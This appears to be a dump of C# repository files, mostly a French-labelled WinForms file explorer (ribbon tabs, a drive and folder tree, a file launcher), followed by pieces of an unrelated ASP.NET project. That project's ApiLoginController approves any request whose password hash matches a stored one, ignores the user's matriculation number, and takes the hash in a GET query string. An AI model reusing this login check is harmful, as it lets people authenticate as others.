_panelSelection.Items.Add(_selectInvert);
#endregion
}
private void BuildTabSharing()
{
_tabSharing = new RibbonTab("Partage");
_ribbon.Tabs.Add(_tabSharing);
#region Sending
_panelSend = new RibbonPanel("Envoyer");
_panelSend.Image = Tools4Libraries.Resources.ResourceIconSet16Default.email2;
_tabSharing.Panels.Add(_panelSend);
_share = new RibbonButton("Partager");
_share.MinSizeMode = RibbonElementSizeMode.Large;
_share.Image = Tools4Libraries.Resources.ResourceIconSet32Default.share;
_panelSend.Items.Add(_share);
_mail = new RibbonButton("Courrier électronique");
_mail.MinSizeMode = RibbonElementSizeMode.Large;
_mail.Image = Tools4Libraries.Resources.ResourceIconSet32Default.email2;
_panelSend.Items.Add(_mail);
_zip = new RibbonButton("Zipper");
_zip.MinSizeMode = RibbonElementSizeMode.Large;
_zip.Image = Tools4Libraries.Resources.ResourceIconSet32Default.zip;
_panelSend.Items.Add(_zip);
_burn = new RibbonButton("Graver");
_burn.MaxSizeMode = RibbonElementSizeMode.Medium;
_burn.SmallImage = Tools4Libraries.Resources.ResourceIconSet16Default.cd_burn2;
_panelSend.Items.Add(_burn);
_print = new RibbonButton("Imprimer");
_print.MaxSizeMode = RibbonElementSizeMode.Medium;
_print.SmallImage = Tools4Libraries.Resources.ResourceIconSet16Default.printer2;
_panelSend.Items.Add(_print);
_fax = new RibbonButton("Télécopie");
_fax.MaxSizeMode = RibbonElementSizeMode.Medium;
_fax.SmallImage = Tools4Libraries.Resources.ResourceIconSet16Default.fax2;
_panelSend.Items.Add(_fax);
#endregion
#region Share with
_panelShareWith = new RibbonPanel("Partager avec");
_tabSharing.Panels.Add(_panelShareWith);
_sharingGroups = new RibbonButtonList();
_panelShareWith.Items.Add(_sharingGroups);
_stopSharing = new RibbonButton("Cesser de partage");
_stopSharing.MinSizeMode = RibbonElementSizeMode.Large;
_stopSharing.Image = Tools4Libraries.Resources.ResourceIconSet32Default.securityLock;
_panelShareWith.Items.Add(_stopSharing);
#endregion
#region Security
_panelSecurity = new RibbonPanel(); ;
_tabSharing.Panels.Add(_panelSecurity);
_advancedSecurity = new RibbonButton("Sécurité avancée");
_advancedSecurity.MinSizeMode = RibbonElementSizeMode.Large;
_advancedSecurity.Image = Tools4Libraries.Resources.ResourceIconSet32Default.security;
_panelSecurity.Items.Add(_advancedSecurity);
#endregion
}
private void BuildTabDisplay()
{
_tabDisplay = new RibbonTab("Affichage");
_ribbon.Tabs.Add(_tabDisplay);
#region Component
_panelComponent = new RibbonPanel("Volets");
_tabDisplay.Panels.Add(_panelComponent);
_componentNavitation = new RibbonButton("Volet de navigation");
_componentNavitation.MinSizeMode = RibbonElementSizeMode.Large;
_componentNavitation.LargeImage = Tools4Libraries.Resources.ResourceIconSet32Default.navigation;
_panelComponent.Items.Add(_componentNavitation);
_componentVisualisation = new RibbonButton("Volet de visualisation");
_componentVisualisation.MaxSizeMode = RibbonElementSizeMode.Medium;
_componentVisualisation.SmallImage = Tools4Libraries.Resources.ResourceIconSet16Default.windowVisualisation;
_panelComponent.Items.Add(_componentVisualisation);
_componentDetails = new RibbonButton("Volet des détails");
_componentDetails.MaxSizeMode = RibbonElementSizeMode.Medium;
_componentDetails.SmallImage = Tools4Libraries.Resources.ResourceIconSet16Default.windowdetail;
_panelComponent.Items.Add(_componentDetails);
#endregion
#region Disposition
_panelDisposition = new RibbonPanel("Disposition");
_panelDisposition.Image = Tools4Libraries.Resources.ResourceIconSet16Default.mosaique;
_tabDisplay.Panels.Add(_panelDisposition);
_dispositionList = new RibbonButtonList();
_dispositionList.ButtonsSizeMode = RibbonElementSizeMode.Medium;
_dispositionList.FlashImage = Tools4Libraries.Resources.ResourceIconSet16Default.mosaique;
_dispositionList.Image = Tools4Libraries.Resources.ResourceIconSet16Default.mosaique;
_panelDisposition.Items.Add(_dispositionList);
_veryBigIcon = new RibbonButton("Très grande icônes");
_veryBigIcon.MaxSizeMode = RibbonElementSizeMode.Medium;
_veryBigIcon.MinSizeMode = RibbonElementSizeMode.Medium;
_veryBigIcon.SmallImage = Tools4Libraries.Resources.ResourceIconSet16Default.veryBigPicture;
_dispositionList.Buttons.Add(_veryBigIcon);
_bigIcon = new RibbonButton("Grandes icônes");
_bigIcon.MaxSizeMode = RibbonElementSizeMode.Medium;
_bigIcon.MinSizeMode = RibbonElementSizeMode.Medium;
_bigIcon.SmallImage = Tools4Libraries.Resources.ResourceIconSet16Default.bigPicture;
_dispositionList.Buttons.Add(_bigIcon);
_mediumIcon = new RibbonButton("Icônes moyennes");
_mediumIcon.MaxSizeMode = RibbonElementSizeMode.Medium;
_mediumIcon.MinSizeMode = RibbonElementSizeMode.Medium;
_mediumIcon.SmallImage = Tools4Libraries.Resources.ResourceIconSet16Default.bigIcon;
_dispositionList.Buttons.Add(_mediumIcon);
_smallIcon = new RibbonButton("Petites icônes");
_smallIcon.MaxSizeMode = RibbonElementSizeMode.Medium;
_smallIcon.MinSizeMode = RibbonElementSizeMode.Medium;
_smallIcon.SmallImage = Tools4Libraries.Resources.ResourceIconSet16Default.smallIcon;
_dispositionList.Buttons.Add(_smallIcon);
_listIcon = new RibbonButton("Liste");
_listIcon.MaxSizeMode = RibbonElementSizeMode.Medium;
_listIcon.MinSizeMode = RibbonElementSizeMode.Medium;
_listIcon.SmallImage = Tools4Libraries.Resources.ResourceIconSet16Default.list;
_dispositionList.Buttons.Add(_listIcon);
_detailIcon = new RibbonButton("Détail");
_detailIcon.MaxSizeMode = RibbonElementSizeMode.Medium;
_detailIcon.MinSizeMode = RibbonElementSizeMode.Medium;
_detailIcon.SmallImage = Tools4Libraries.Resources.ResourceIconSet16Default.detail;
_dispositionList.Buttons.Add(_detailIcon);
_mosaiqueIcon = new RibbonButton("Mosaïque");
_mosaiqueIcon.MaxSizeMode = RibbonElementSizeMode.Medium;
_mosaiqueIcon.MinSizeMode = RibbonElementSizeMode.Medium;
_mosaiqueIcon.SmallImage = Tools4Libraries.Resources.ResourceIconSet16Default.mosaique;
_dispositionList.Buttons.Add(_mosaiqueIcon);
_contentIcon = new RibbonButton("Contenu");
_contentIcon.MaxSizeMode = RibbonElementSizeMode.Medium;
_contentIcon.MinSizeMode = RibbonElementSizeMode.Medium;
_contentIcon.SmallImage = Tools4Libraries.Resources.ResourceIconSet16Default.content;
_dispositionList.Buttons.Add(_contentIcon);
#endregion
#region Current display
_panelCurrentDisplay = new RibbonPanel("Affichage actuel");
_tabDisplay.Panels.Add(_panelCurrentDisplay);
_sort = new RibbonButton("Trier par");
_sort.MinSizeMode = RibbonElementSizeMode.Large;
_sort.LargeImage = Tools4Libraries.Resources.ResourceIconSet32Default.sort;
_panelCurrentDisplay.Items.Add(_sort);
_groupBy = new RibbonButton("Grouper par");
_groupBy.MaxSizeMode = RibbonElementSizeMode.Medium;
_groupBy.SmallImage = Tools4Libraries.Resources.ResourceIconSet16Default.group;
_panelCurrentDisplay.Items.Add(_groupBy);
_addColumns = new RibbonButton("Ajouter des colonnes");
_addColumns.MaxSizeMode = RibbonElementSizeMode.Medium;
_addColumns.SmallImage = Tools4Libraries.Resources.ResourceIconSet16Default.addColumn;
_panelCurrentDisplay.Items.Add(_addColumns);
_adjustColumnsSize = new RibbonButton("Ajuster la taille de toutes les colonnes");
_adjustColumnsSize.MaxSizeMode = RibbonElementSizeMode.Medium;
_adjustColumnsSize.SmallImage = Tools4Libraries.Resources.ResourceIconSet16Default.adjustColumn;
_panelCurrentDisplay.Items.Add(_adjustColumnsSize);
#endregion
#region Disply / Hide
_panelDisplayHide = new RibbonPanel("Afficher/Masquer");
_tabDisplay.Panels.Add(_panelDisplayHide);
_compenentCheckBoxes = new RibbonCheckBox();
_compenentCheckBoxes.Text = "Case à cocher les éléments";
_compenentCheckBoxes.Value = "Case à cocher les éléments";
_compenentCheckBoxes.MaxSizeMode = RibbonElementSizeMode.Overflow;
_compenentCheckBoxes.MinSizeMode = RibbonElementSizeMode.Overflow;
_compenentCheckBoxes.TextAlignment = RibbonItem.RibbonItemTextAlignment.Left;
_compenentCheckBoxes.LabelWidth = 200;
_panelDisplayHide.Items.Add(_compenentCheckBoxes);
_fileExtentionDisplay = new RibbonCheckBox();
_fileExtentionDisplay.Text = "Extensions de noms de fichiers";
_fileExtentionDisplay.Value = "Extensions de noms de fichiers";
_fileExtentionDisplay.MaxSizeMode = RibbonElementSizeMode.Overflow;
_fileExtentionDisplay.MinSizeMode = RibbonElementSizeMode.Overflow;
_fileExtentionDisplay.LabelWidth = 200;
_panelDisplayHide.Items.Add(_fileExtentionDisplay);
_displayHidenComponents = new RibbonCheckBox();
_displayHidenComponents.Text = "Eléments masqués";
_displayHidenComponents.Value = "Eléments masqués";
_displayHidenComponents.MaxSizeMode = RibbonElementSizeMode.Overflow;
_displayHidenComponents.MinSizeMode = RibbonElementSizeMode.Overflow;
_displayHidenComponents.LabelWidth = 200;
_panelDisplayHide.Items.Add(_displayHidenComponents);
_hideSelectedComponents = new RibbonButton("Masquer les éléments sélectionnés");
_hideSelectedComponents.MinSizeMode = RibbonElementSizeMode.Large;
_hideSelectedComponents.LargeImage = Tools4Libraries.Resources.ResourceIconSet32Default.displayHide;
_panelDisplayHide.Items.Add(_hideSelectedComponents);
#endregion
}
#endregion
#region Event
private void _ribbon_Resize(object sender, EventArgs e)
{
_tobiTab.TobiOut.TextBoxWidth = _ribbon.Width - 200;
_tobiTab.TobiIn.TextBoxWidth = _ribbon.Width - 200;
}
#endregion
}
}
<file_sep>using System.Windows.Forms;
namespace Droid_Explorer
{
public partial class Calendar : Form
{
public Calendar()
{
InitializeComponent();
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using System.Text.RegularExpressions;
using System.Threading.Tasks;
namespace Droid_Explorer
{
public static class FilesAdmin
{
#region Attribute
[DllImport("shell32.dll", CharSet = CharSet.Unicode)]
private static extern int SHGetKnownFolderPath([MarshalAs(UnmanagedType.LPStruct)] Guid rfid, uint dwFlags, IntPtr hToken, out string pszPath);
private static readonly Guid Downloads = new Guid("374DE290-123F-4565-9164-39C4925E467B");
private static List<KeyValuePair<string, string>> _specialFolders;
#endregion
#region Properties
public static List<KeyValuePair<string, string>> SpecialFolders
{
get { return _specialFolders; }
}
#endregion
#region Constructor
static FilesAdmin()
{
string downloads;
_specialFolders = new List<KeyValuePair<string, string>>();
_specialFolders.Add(new KeyValuePair<string, string>("Bureau", Environment.GetFolderPath(Environment.SpecialFolder.Desktop)));
_specialFolders.Add(new KeyValuePair<string, string>("Documents", Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments)));
SHGetKnownFolderPath(Downloads, 0, IntPtr.Zero, out downloads);
_specialFolders.Add(new KeyValuePair<string, string>("Download", downloads));
_specialFolders.Add(new KeyValuePair<string, string>("Images", Environment.GetFolderPath(Environment.SpecialFolder.MyPictures)));
_specialFolders.Add(new KeyValuePair<string, string>("Musique", Environment.GetFolderPath(Environment.SpecialFolder.MyMusic)));
_specialFolders.Add(new KeyValuePair<string, string>("Videos", Environment.GetFolderPath(Environment.SpecialFolder.MyVideos)));
}
#endregion
#region Methods public
public static string GetFile(string path, string fileName)
{
path = CleanPath(path);
return path + fileName;
}
public static void LaunchDefaultProgram(string path, string fileName)
{
try
{
string file = GetFile(path, fileName);
ProcessStartInfo pi = new ProcessStartInfo(file);
pi.Arguments = Path.GetFileName(file);
pi.UseShellExecute = true;
pi.WorkingDirectory = Path.GetDirectoryName(file);
pi.FileName = file;
pi.Verb = "OPEN";
Process.Start(pi);
}
catch (Exception exp)
{
Tools4Libraries.Log.Write("[ ERR 0000 ] Error while executing the program : " + exp.Message);
}
}
public static string CleanPath(string path)
{
string finalPath = string.Empty;
path = path.Replace("Computer\\", string.Empty);
List<string> tab = Regex.Split(path, @"\([A-Z]:\)").ToList();
if (tab.Count > 0)
{
foreach (var specialFolder in _specialFolders)
{
if (tab[0].StartsWith(specialFolder.Key))
{
finalPath = path.Replace(specialFolder.Key, specialFolder.Value);
return finalPath.Replace("Computer\\", string.Empty) + "\\";
}
}
if (path.Contains('(') && path.Contains(')'))
{
finalPath = path.Split('(')[1].Split(')')[0];
finalPath += tab[1];
}
}
return path + "\\";
}
#endregion
#region Methods private
#endregion
}
}
<file_sep># Droid explorer : file exploration [](http://servodroid.com)
[](https://www.nuget.org/packages/Droid_Explorer/) [](https://raw.githubusercontent.com/ThibaultMontaufray/Tools4Libraries/master/License) [](https://travis-ci.org/ThibaultMontaufray/Droid-Explorer) [](https://coveralls.io/github/ThibaultMontaufray/Droid-Explorer?branch=master) [](http://servodroid.com:8080/job/CI-Droid-Explorer/) [](https://codeclimate.com/github/ThibaultMontaufray/Droid-Explorer)
# Usage
```csharp
Application.Run(new RichExplorer());
```
# Screens
<p><img src="demo1.png" /></p>
<p><img src="demo2.png" /></p>
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.IO;
using System.Drawing;
using System.Security.AccessControl;
using System.Security.Principal;
namespace Droid_Explorer
{
public class PanelTools : Panel
{
#region Attribute
private ToolControler _toolControler;
private TreeView _treeView;
private SplitContainer _sp;
private GUI _gui;
private TreeNode _rootNode;
private ListView _listView;
private RichListView _listViewDisk;
//private ListView _listViewDisk;
private ImageList _imageList;
#endregion
#region Properties
#endregion
#region Constructor
public PanelTools()
{
InitializeComponent();
}
#endregion
#region Methods public
#endregion
#region Methods private
private void InitializeComponent()
{
_toolControler = new ToolControler();
this.Dock = DockStyle.Fill;
_gui = new GUI();
LoadTreeView();
BuildSplitContainer();
// Initialize the ListView, ImageList and Form.
_imageList = new ImageList();
_imageList.ImageSize = new Size(32, 32);
_imageList.ColorDepth = ColorDepth.Depth32Bit;
BuildListViewDisk();
}
private void BuildSplitContainer()
{
_sp = new SplitContainer();
_sp.Panel1.Controls.Add(_treeView);
_sp.Orientation = Orientation.Vertical;
_sp.Dock = DockStyle.Fill;
this.Controls.Add(_sp);
}
private void BuildListViewDisk()
{
_listView = new ListView();
_listView.Dock = DockStyle.Fill;
_listView.View = View.Tile;
_listView.DoubleClick += _listView_DoubleClick;
_listView.MouseClick += _listView_MouseClick;
_listView.LargeImageList = _imageList;
_listView.SmallImageList = _imageList;
_listView.StateImageList = _imageList;
int countFixed = 0;
int countRemovable = 0;
int countNetwork = 0;
_listViewDisk = new RichListView();
_listViewDisk.Dock = DockStyle.Fill;
_listViewDisk.IconList = _gui.imageList48;
_listViewDisk.Display = View.Tile;
_listViewDisk.DoubleClick += _listViewDisk_DoubleClick;
_listViewDisk.MouseClick += _listViewDisk_MouseClick;
_listViewDisk.BackColor = Color.White;
_listViewDisk.ComponentSize = RichListViewItem.Format.LARGE;
_sp.Panel2.Controls.Add(this._listViewDisk);
ListViewGroup lvg_fixed = new ListViewGroup("Hard disk drive");
ListViewGroup lvg_removable_storage = new ListViewGroup("Devices with removable storage");
ListViewGroup lvg_network = new ListViewGroup("Network Location");
_listViewDisk.Groups.Add(lvg_fixed.Header);
_listViewDisk.Groups.Add(lvg_removable_storage.Header);
_listViewDisk.Groups.Add(lvg_network.Header);
RichListViewItem richLV;
foreach (var item in _toolControler.ListDrivers)
{
richLV = new RichListViewItem(item.text);
richLV.Size = RichListViewItem.Format.LARGE;
if (item.type == DriveType.Fixed)
{
Detail d;
d = new Detail();
d.DetFamily = RichListViewItem.Family.ProgressBar;
d.DetValue = (((item.totalSpace - item.freeSpace) * 100) / item.totalSpace).ToString();
richLV.Details.Add(d);
if (item.totalSpace > 0)
{
d = new Detail();
d.DetFamily = RichListViewItem.Family.Label;
d.DetValue = (item.freeSpace / 1000000000).ToString() + " GB free of " + (item.totalSpace / 1000000000).ToString() + " GB";
richLV.Details.Add(d);
}
// TODO : detect correctly the os folder
richLV.ImageIndex = richLV.Text.Contains(Environment.SystemDirectory.Split('\\')[0]) ? _listViewDisk.IconList.Images.IndexOfKey("diskOs") : _listViewDisk.IconList.Images.IndexOfKey("disk");
richLV.Group = lvg_fixed.Header;
countFixed++;
}
else if (item.type == DriveType.Network)
{
Detail d;
d = new Detail();
d.DetFamily = RichListViewItem.Family.ProgressBar;
d.DetValue = (((item.totalSpace - item.freeSpace) * 100) / item.totalSpace).ToString();
richLV.Details.Add(d);
if (item.totalSpace > 0)
{
d = new Detail();
d.DetFamily = RichListViewItem.Family.Label;
d.DetValue = (item.freeSpace / 1000000000).ToString() + " GB free of " + (item.totalSpace / 1000000000).ToString() + " GB";
richLV.Details.Add(d);
}
richLV.ImageIndex = _listViewDisk.IconList.Images.IndexOfKey("network");
richLV.Group = lvg_network.Header;
countNetwork++;
}
else
{
richLV.ImageIndex = (richLV.Text.ToLower().Contains("cd") || richLV.Text.ToLower().Contains("dvd")) ? _listViewDisk.IconList.Images.IndexOfKey("dvd") : _listViewDisk.IconList.Images.IndexOfKey("sd");
richLV.Group = lvg_removable_storage.Header;
countRemovable++;
}
_listViewDisk.Items.Add(richLV);
//_listViewDisk.ItemActivate += new EventHandler(_listViewDisk_ItemActivate);
}
// TODO : integrate each item list view ...
lvg_fixed.Header = lvg_fixed.Header + " (" + countFixed + ")";
lvg_network.Header = lvg_network.Header + " (" + countNetwork + ")";
lvg_removable_storage.Header = lvg_removable_storage.Header + " (" + countRemovable + ")";
LoadDiskPreview();
_listViewDisk.RefreshComponent();
}
private void BuildListViewDiskOLD()
{
//_listView = new ListView();
//_listView.Dock = DockStyle.Fill;
//_listView.SmallImageList = _imageList;
//_listView.LargeImageList = _imageList;
//_listView.StateImageList = _imageList;
//_listView.View = View.Tile;
//_sp.Panel2.Controls.Add(this._listView);
//int countFixed = 0;
//int countRemovable = 0;
//int countNetwork = 0;
//_listViewDisk = new ListView();
//_listViewDisk.Dock = DockStyle.Fill;
//_listViewDisk.View = View.Tile;
//_listViewDisk.LargeImageList = _gui.imageListView32;
//_listViewDisk.SmallImageList = _gui.imageListView32;
//_listViewDisk.StateImageList = _gui.imageListView32;
//ListViewGroup lvg_fixed = new ListViewGroup("Hard disk drive");
//ListViewGroup lvg_removable_storage = new ListViewGroup("Devices with removable storage");
//ListViewGroup lvg_network = new ListViewGroup("Network Location");
//_listViewDisk.Groups.Add(lvg_fixed);
//_listViewDisk.Groups.Add(lvg_removable_storage);
//_listViewDisk.Groups.Add(lvg_network);
//ListViewItem lvi;
//foreach (var item in _toolControler.ListDrivers)
//{
// lvi = new ListViewItem(item.text);
// if (item.type == DriveType.Fixed)
// {
// lvi.ImageIndex = _listViewDisk.LargeImageList.Images.IndexOfKey("disk");
// lvi.Group = lvg_fixed;
// countFixed++;
// }
// else if (item.type == DriveType.Network)
// {
// lvi.ImageIndex = _listViewDisk.LargeImageList.Images.IndexOfKey("network");
// lvi.Group = lvg_network;
// countNetwork++;
// }
// else
// {
// lvi.ImageIndex = _listViewDisk.LargeImageList.Images.IndexOfKey("cd");
// lvi.Group = lvg_removable_storage;
// countRemovable++;
// }
// _listViewDisk.Items.Add(lvi);
// _listViewDisk.ItemActivate += new EventHandler(_listViewDisk_ItemActivate);
//}
//lvg_fixed.Header = lvg_fixed.Header + " (" + countFixed + ")";
//lvg_network.Header = lvg_network.Header + " (" + countNetwork + ")";
//lvg_removable_storage.Header = lvg_removable_storage.Header + " (" + countRemovable + ")";
//LoadDiskPreview();
}
private void LoadTreeView()
{
TreeNode node;
_treeView = new TreeView();
_treeView.Dock = DockStyle.Fill;
_treeView.ShowRootLines = false;
_treeView.ShowLines = false;
_treeView.ImageList = _gui.imageListTreeview;
_treeView.BeforeExpand += _treeView_BeforeExpand;
_treeView.MouseClick += _treeView_MouseClick;
_treeView.MouseHover += _treeView_MouseHover;
_treeView.MouseLeave += _treeView_MouseLeave;
_treeView.AfterSelect += new TreeViewEventHandler(_treeView_AfterSelect);
_treeView.Font = new System.Drawing.Font("Arial", 9, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
_rootNode = new TreeNode("Computer", _treeView.ImageList.Images.IndexOfKey("computer"), _treeView.ImageList.Images.IndexOfKey("computer"));
foreach (KeyValuePair<string, string> specialDocument in FilesAdmin.SpecialFolders)
{
try
{
node = new TreeNode(specialDocument.Key, _treeView.ImageList.Images.IndexOfKey(specialDocument.Key.ToLower()), _treeView.ImageList.Images.IndexOfKey(specialDocument.Key.ToLower()));
LoadSubNodes(ref node, specialDocument.Value);
_rootNode.Nodes.Add(node);
}
catch (Exception exp)
{
Tools4Libraries.Log.Write("[ ERR 0000 ] Error in special document loading : " + exp.Message);
}
}
DriveInfo[] drives = DriveInfo.GetDrives();
foreach (MountPoint mp in _toolControler.ListDrivers)
{
if (mp.type == DriveType.Fixed)
{
if (mp.text.Contains(Environment.SystemDirectory.Split('\\')[0]))
{
node = new TreeNode(mp.text, _treeView.ImageList.Images.IndexOfKey("diskOs"), _treeView.ImageList.Images.IndexOfKey("diskOs"));
}
else
{
node = new TreeNode(mp.text, _treeView.ImageList.Images.IndexOfKey("disk"), _treeView.ImageList.Images.IndexOfKey("disk"));
}
LoadSubNodes(ref node, mp.letter + ":\\");
}
else if (mp.type == DriveType.Network)
{
node = new TreeNode(mp.text, _treeView.ImageList.Images.IndexOfKey("network"), _treeView.ImageList.Images.IndexOfKey("network"));
LoadSubNodes(ref node, mp.letter + ":\\");
}
else if (mp.type == DriveType.CDRom)
{
node = new TreeNode(mp.text, _treeView.ImageList.Images.IndexOfKey("cd"), _treeView.ImageList.Images.IndexOfKey("cd"));
}
else
{
node = new TreeNode(mp.text, _treeView.ImageList.Images.IndexOfKey("folder"), _treeView.ImageList.Images.IndexOfKey("folder"));
}
_rootNode.Nodes.Add(node);
if (mp.type == DriveType.Fixed || mp.type == DriveType.Network || mp.type == DriveType.Removable)
{
LoadSubNodes(ref node, mp.letter + ":\\");
}
}
_rootNode.Expand();
_treeView.Nodes.Add(_rootNode);
}
private void LoadSubNodes(ref TreeNode node, string path)
{
try
{
if (!string.IsNullOrEmpty(path))
{
DirectoryInfo di = new DirectoryInfo(path);
foreach (var fi in di.GetDirectories("*", SearchOption.TopDirectoryOnly))
{
if (!fi.Attributes.ToString().Contains(FileAttributes.Hidden.ToString()))
{
TreeNode tn = new TreeNode(fi.Name);
bool flag = true;
foreach (TreeNode n in node.Nodes)
{
if (n.Text == tn.Text)
{
flag = false;
break;
}
}
if (flag) node.Nodes.Add(tn);
}
}
}
}
catch (UnauthorizedAccessException)
{
node.ImageIndex = _treeView.ImageList.Images.IndexOfKey("folder_lock");
node.SelectedImageIndex = _treeView.ImageList.Images.IndexOfKey("folder_lock");
//MessageBox.Show(path + " is not accessible.\n\n Access is denied.", "Location is not available", MessageBoxButtons.OK, MessageBoxIcon.Stop);
}
catch (Exception exp)
{
Tools4Libraries.Log.Write("[ ERR 0000 ] Error in nodes loading : " + exp.Message);
}
}
private void LoadPreview()
{
if (!_sp.Panel2.Controls.Contains(this._listView))
{
_sp.Panel2.Controls.Remove(this._listViewDisk);
_sp.Panel2.Controls.Add(this._listView);
}
System.IO.DirectoryInfo dir = new System.IO.DirectoryInfo(_toolControler.CurrentPath);
ListViewItem item;
_listView.Items.Clear();
_listView.BeginUpdate();
try
{
foreach (var folder in dir.GetDirectories())
{
item = new ListViewItem(folder.Name, 1);
ListViewItem.ListViewSubItem subItem = new ListViewItem.ListViewSubItem(item, "test");
item.SubItems.Add(subItem);
if (!_imageList.Images.ContainsKey("folder"))
{
_imageList.Images.Add("folder", _gui.imageList32.Images[_gui.imageList32.Images.IndexOfKey("folder")]);
}
item.ImageKey = "folder";
_listView.Items.Add(item);
}
foreach (System.IO.FileInfo file in dir.GetFiles())
{
Icon iconForFile = SystemIcons.WinLogo;
item = new ListViewItem(file.Name, 1);
ListViewItem.ListViewSubItem subItem = new ListViewItem.ListViewSubItem(item, "test");
item.SubItems.Add(subItem);
iconForFile = Icon.ExtractAssociatedIcon(file.FullName);
if (!_imageList.Images.ContainsKey(file.Extension))
{
iconForFile = System.Drawing.Icon.ExtractAssociatedIcon(file.FullName);
_imageList.Images.Add(file.Extension, iconForFile);
}
item.ImageKey = file.Extension;
_listView.Items.Add(item);
}
}
catch (Exception)
{
}
_listView.EndUpdate();
}
private void LoadDiskPreview()
{
if (!_sp.Panel2.Controls.Contains(this._listViewDisk))
{
_sp.Panel2.Controls.Remove(this._listView);
_sp.Panel2.Controls.Add(this._listViewDisk);
this._listViewDisk.RefreshComponent();
_sp.Panel2.Invalidate();
}
}
private void RefreshExplorer()
{
if (_treeView.SelectedNode != null)
{
if (_treeView.SelectedNode == _rootNode)
{
LoadDiskPreview();
}
else
{
StringBuilder path = new StringBuilder();
TreeNode nodeExplorer = _treeView.SelectedNode;
do
{
if (nodeExplorer.Text.Contains(':')) path.Insert(0, nodeExplorer.Text.Split('(')[1].Split(')')[0] + "\\");
else path.Insert(0, nodeExplorer.Text + "\\");
nodeExplorer = nodeExplorer.Parent;
}
while (nodeExplorer != _rootNode);
_toolControler.CurrentPath = FilesAdmin.CleanPath(path.ToString());
TreeNode tn = _treeView.SelectedNode;
LoadSubNodes(ref tn, _toolControler.CurrentPath);
_treeView.SelectedNode.Expand();
LoadPreview();
}
}
}
private void OpenFile()
{
if (_listView.SelectedItems.Count != 1) return;
FilesAdmin.LaunchDefaultProgram(_treeView.SelectedNode.FullPath, _listView.SelectedItems[0].Text);
}
private void LaunchContextMenu(int x, int y)
{
try
{
ShellContextMenu ctxMnu = new ShellContextMenu();
FileInfo[] arrFI = new FileInfo[1];
arrFI[0] = new FileInfo(FilesAdmin.GetFile(_treeView.SelectedNode.FullPath, _listView.SelectedItems[0].Text));
ctxMnu.ShowContextMenu(arrFI, this.PointToScreen(new Point(x, y)));
}
catch (Exception exp)
{
Tools4Libraries.Log.Write("[ ERR 0000 ] Error in context menu execution : " + exp.Message);
}
}
#endregion
#region Event
private void _listViewDisk_ItemActivate(object sender, EventArgs e)
{
//if (_listViewDisk.FocusedItem != null)
//{
// foreach (TreeNode item in _rootNode.Nodes)
// {
// if (_listViewDisk.FocusedItem.Text.Equals(item.Text))
// {
// _treeView.SelectedNode = item;
// RefreshExplorer();
// break;
// }
// }
//}
}
private void _treeView_AfterSelect(object sender, TreeViewEventArgs e)
{
RefreshExplorer();
}
private void _listView_DoubleClick(object sender, EventArgs e)
{
OpenFile();
}
private void _listViewDisk_DoubleClick(object sender, EventArgs e)
{
OpenFile();
}
private void _listView_MouseClick(object sender, MouseEventArgs e)
{
if (e.Button == MouseButtons.Right)
{
LaunchContextMenu(e.X, e.Y);
}
}
private void _listViewDisk_MouseClick(object sender, MouseEventArgs e)
{
if (e.Button == MouseButtons.Right)
{
LaunchContextMenu(e.X, e.Y);
}
}
private void _treeView_MouseLeave(object sender, EventArgs e)
{
_treeView.ShowPlusMinus = false;
}
private void _treeView_MouseHover(object sender, EventArgs e)
{
_treeView.ShowPlusMinus = true;
}
private void _treeView_BeforeExpand(object sender, TreeViewCancelEventArgs e)
{
if (_treeView.SelectedNode != null)
{
TreeNode tn = _treeView.SelectedNode;
LoadSubNodes(ref tn, _toolControler.CurrentPath);
TreeNode childNode = tn.FirstNode;
while (childNode != null)
{
LoadSubNodes(ref childNode, _toolControler.CurrentPath + childNode.Text);
childNode.Collapse();
childNode = childNode.NextNode;
}
_treeView.Invalidate();
}
}
private void _treeView_MouseClick(object sender, MouseEventArgs e)
{
var Test = _treeView.HitTest(e. Location);
if (Test.Location == TreeViewHitTestLocations.PlusMinus)
{
if (_treeView.SelectedNode != null)
{
TreeNode tn = _treeView.SelectedNode;
LoadSubNodes(ref tn, _toolControler.CurrentPath);
TreeNode childNode = tn.FirstNode;
while (childNode != null)
{
LoadSubNodes(ref childNode, _toolControler.CurrentPath + childNode.Text);
childNode.Collapse();
childNode = childNode.NextNode;
}
_treeView.Invalidate();
}
}
}
#endregion
}
}
|
c9a4bd4fe18b3236fcc71235a85e13efed8c81c5
|
[
"Markdown",
"C#"
] | 13
|
C#
|
ThibaultMontaufray/Droid-Explorer
|
6fd3f473847ac6ac772a018f2963299d2e63d230
|
29f4da8c10a1ddc2c119511033e900b4b34a0632
|
refs/heads/master
|
<file_sep>// Write your Javascript code.
function connectSelectorToElement(sel, el) {
var toggle = function () {
if (sel.value == -1) {
$(el).show(200);
} else {
$(el).hide(200);
}
}
sel.onchange = toggle;
toggle();
}
<file_sep>using System.Collections.Generic;
using System.Linq;
using luis_beuth.Data;
using luis_beuth.Models.Data;
using Microsoft.AspNetCore.Mvc;
namespace luis_beuth.Controllers
{
[Route("api/login")]
public class ApiLoginController : Controller
{
private ApplicationDbContext _context;
public ApiLoginController (ApplicationDbContext context)
{
this._context = context;
}
//
// GET: /api/login?{Matriculationnumber}&{PasswordHash}/
[HttpGet("{matriculationNumber}")]
public IActionResult Get(int matriculationNumber, string passwordHash)
{
if (_context.Logins.FirstOrDefault(l => l.PasswordHash == passwordHash) != null)
return Ok("approved");
else
{
return NotFound();
}
}
}
}
<file_sep>namespace luis_beuth.Models.ApiStudentModels
{
public class CreateStudentApiModel
{
public string Name { get; set; }
public int MatriculationNumber { get; set; }
}
}<file_sep>using System;
namespace luis_beuth.Models.Data
{
public class Login
{
public int Id { get; set; }
public string PasswordHash { get; set;}
public DateTime Created { get; set; }
}
}<file_sep>using System;
using System.Collections.Generic;
using Microsoft.EntityFrameworkCore.Migrations;
namespace luis_beuth.Migrations
{
public partial class MyFirstMigration : Migration
{
protected override void Up(MigrationBuilder migrationBuilder)
{
migrationBuilder.CreateTable(
name: "AspNetUsers",
columns: table => new
{
Id = table.Column<string>(nullable: false),
AccessFailedCount = table.Column<int>(nullable: false),
ConcurrencyStamp = table.Column<string>(nullable: true),
Email = table.Column<string>(maxLength: 256, nullable: true),
EmailConfirmed = table.Column<bool>(nullable: false),
